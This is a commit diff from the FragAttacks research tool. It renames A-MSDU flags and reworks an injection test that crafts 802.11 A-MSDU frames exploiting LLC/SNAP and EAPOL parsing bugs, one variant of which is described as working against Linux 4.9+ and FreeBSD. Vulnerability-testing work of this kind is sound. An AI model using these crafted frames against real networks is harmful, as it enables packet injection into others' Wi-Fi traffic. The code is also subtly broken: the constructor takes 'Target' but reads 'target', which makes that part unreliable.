fragattacks: tweak A-MSDU injection tests

This commit is contained in:
Mathy Vanhoef 2020-05-29 05:02:19 +04:00 committed by Mathy Vanhoef
parent 75b8ea9c54
commit 95f5203446
4 changed files with 25 additions and 20 deletions

View File

@ -181,8 +181,10 @@ and the other tests are useful to understand the behaviour of the device under t
| | ping I,E,C,E | Same as above, except there is a longer delay before sending the second fragment.
| | ping I,E,C,AE --full-reconnect | Inject a fragment, as client _reconnect_ and as AP force tested client to reconnect, then inject second fragment.
| | ping I,E,C,E --full-reconnect | Same as above, except there is a longer delay before sending the second fragment.
| **A-MSDU** | ping I,E --msdu | Send a normal ping encapsulated in a normal A-MSDU frame.
| | ping I,E,E --msdu | Send a normal ping an a fragmented A-MSDU frame.
| **A-MSDU** | ping I,E --amsdu | Send a normal ping encapsulated in a normal A-MSDU frame.
| | ping I,E,E --amsdu | Send a normal ping an a fragmented A-MSDU frame.
| | amsdu-inject | Send a valid A-MSDU frame whose start is also a valid LLC/SNAP header.
| | amsdu-inject linux | Send an invalid A-MSDU frame whose start is also a valid LLC/SNAP header (frame treated as valid by Linux/FreeBSD).
| **Mixed Plain/Enc** | ping I,E,P | Send a fragmented ping: first fragment encrypted, second fragment in plaintext.
| | ping I,P,E | Send a fragmented ping: first fragment in plaintext, send fragment encrypted.
| | ping I,P | Send a plaintext ping.

View File

@ -123,8 +123,8 @@ def prepare_tests(opt):
elif opt.testname == "qca-rekey":
test = QcaDriverRekey()
elif opt.testname == "amsdu-attack":
test = AmsduAttack(REQ_ICMP, stractions == "linux")
elif opt.testname == "amsdu-inject":
test = AmsduInject(REQ_ICMP, stractions)
# No valid test ID/name was given
else: return None
@ -175,12 +175,12 @@ def args2ptype(args):
def args2msdu(args):
# Only one of these should be given
if args.msdu + args.fake_msdu > 1:
log(STATUS, "You cannot combine --msdu and --fake_msdu. Please only supply one of them.")
if args.amsdu + args.fake_amsdu > 1:
log(STATUS, "You cannot combine --amsdu and --fake-amsdu. Please only supply one of them.")
quit(1)
if args.msdu: return 1
if args.fake_msdu: return 2
if args.amsdu: return 1
if args.fake_amsdu: return 2
return None
@ -199,8 +199,8 @@ if __name__ == "__main__":
parser.add_argument('--debug', type=int, default=0, help="Debug output level.")
parser.add_argument('--delay', type=float, default=0, help="Delay between fragments in certain tests.")
parser.add_argument('--inc-pn', type=int, help="To test non-sequential packet number in fragments.")
parser.add_argument('--msdu', default=False, action='store_true', help="Encapsulate pings in an A-MSDU frame.")
parser.add_argument('--fake-msdu', default=False, action='store_true', help="Set A-MSDU flag but include normal payload.")
parser.add_argument('--amsdu', default=False, action='store_true', help="Encapsulate pings in an A-MSDU frame.")
parser.add_argument('--fake-amsdu', default=False, action='store_true', help="Set A-MSDU flag but include normal payload.")
parser.add_argument('--arp', default=False, action='store_true', help="Override default request with ARP request.")
parser.add_argument('--dhcp', default=False, action='store_true', help="Override default request with DHCP discover.")
parser.add_argument('--icmp', default=False, action='store_true', help="Override default request with ICMP ping request.")

View File

@ -48,12 +48,11 @@ def freebsd_create_eapolmsdu(src, dst, toinject):
"""
# Subframe 1: LLC/SNAP for EAPOL. The X's will be part of the first subframe.
rawmac = bytes.fromhex(src.replace(':', ''))
prefix = raw(LLC()/SNAP()/EAPOL()) + b"XXXXXXXX"
# Subframe 1: content will be the X's (excluding the first 6 bytes). The actual
# ethernet payload length will be payload_len - 16 due to parsing bugs.
payload_len = 17
payload_len = 16
total_len = payload_len + 6 + 6 + 2
padding_len = 4 - (total_len % 4) if total_len % 4 != 0 else 0
payload = prefix + struct.pack(">H", payload_len) + payload_len * b"X" + padding_len * b"Y"
@ -79,7 +78,6 @@ def freebsd_encap_eapolmsdu(p, src, dst, payload):
p = p/freebsd_create_eapolmsdu(src, dst, payload)
return p
# ----------------------------------- Vulnerability Tests -----------------------------------
# XXX --- We should always first see how the DUT reactions to a normal packet.

View File

@ -1,15 +1,18 @@
from fraginternals import *
class AmsduAttack(Test):
class AmsduInject(Test):
"""
Inject a frame identical to the one the station would receive when performing
the A-MSDU attack by injecting an IP packet with a specific identification field.
"""
def __init__(self, ptype, linux=False):
def __init__(self, ptype, Target=False):
super().__init__([Action(Action.Connected, Action.Inject, enc=True)])
self.ptype = ptype
self.linux = linux
self.target = target
if not self.target in [None, "linux"]:
log(ERROR, f"Unknown target {self.target} in A-MSDU injection test!")
quit(1)
def prepare(self, station):
log(STATUS, "Generating A-MSDU attack test frame", color="green")
@ -26,11 +29,13 @@ class AmsduAttack(Test):
src = station.bss
# Put the request inside an IP packet
if not self.linux:
if self.target == None:
p = header/LLC()/SNAP()/IP(dst="192.168.1.2", src="1.2.3.4", id=34)/TCP()
else:
p = header/LLC()/SNAP()/IP(dst="192.168.1.2", src="3.5.1.1")/Raw(b"A" * 768)
p = p/create_msdu_subframe(src, dst, request, last=True)
# This works against linux 4.9 and above and against FreeBSD
elif self.target == "linux":
p = header/LLC()/SNAP()/IP(dst="192.168.1.2", src="3.5.1.1")/TCP()/Raw(b"A" * 748)
p[Dot11QoS].Reserved = 1
# Schedule transmission of frame